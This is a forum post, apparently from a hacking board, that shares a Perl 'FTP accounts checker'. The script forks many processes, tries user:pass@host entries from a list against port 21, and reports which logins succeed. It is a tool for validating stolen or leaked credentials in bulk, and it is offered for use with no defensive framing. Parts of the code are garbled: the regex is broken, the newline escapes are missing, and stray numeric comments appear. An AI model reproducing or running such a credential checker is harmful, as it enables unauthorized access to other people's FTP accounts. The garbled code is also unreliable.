Jump to content
Gonzalez

Perl FTP accounts checker

Recommended Posts

Posted

Perl FTP accounts checker

Credit: dC3 | Crack

#!/usr/bin/perl

######################################################
# Coded by Satyr [Cyber Lords Community]
# [url]http://www.cyberlords.net[/url]
######################################################

use Socket;
use IO::Handle;

$verbose=1;
$pids=100;
#5422
#0371
open(LIST,@ARGV[0]);
@list=<LIST>;
close(LIST);

$once=0;

while(1) {
#9128
#1683519
@check_now=@list[$once..$once+$pids];

for ($i=0;$i<=$pids;$i++) {

unless(@check_now[$i]) {
killpidz();
exit print "Scan is completen";
}

if ($pid=fork()) {
push(@forked,$pid);
} else {
###################MAIN CHECK###########################
$string=@check_now[$i];
chomp($string);
$string=~/([^:]+).+)@(.+)/;
$ans=check($1,$2,$3);

if($ans eq 230){
print "$1 $2 $3 230 - ok!n"
}
else{
$ans="Error connecting." if $ans eq 0;
print "$1 $2 $3 $ansn" if $verbose eq 1;
}

#########################################################
exit;

}



}

$once+=$pids;
killpidz();
}

sub check{
my ($user,$pass,$host)=@_;
my $protocol=getprotobyname('tcp');
my $host=inet_aton($host) or return 0;
socket(SOCK,AF_INET,SOCK_STREAM,$protocol) or die "socket() failed: $!n";
my $dest_addr=sockaddr_in(21,$host);
connect(SOCK,$dest_addr) or return 0;
SOCK->autoflush(1);
sysread(SOCK,$data,1024);
print SOCK "user $usern";
sysread(SOCK,$data,100);
print SOCK "pass $passn";
sysread(SOCK,$data,100);
return $1 if $data=~/([0-9]{3})/;
}

sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...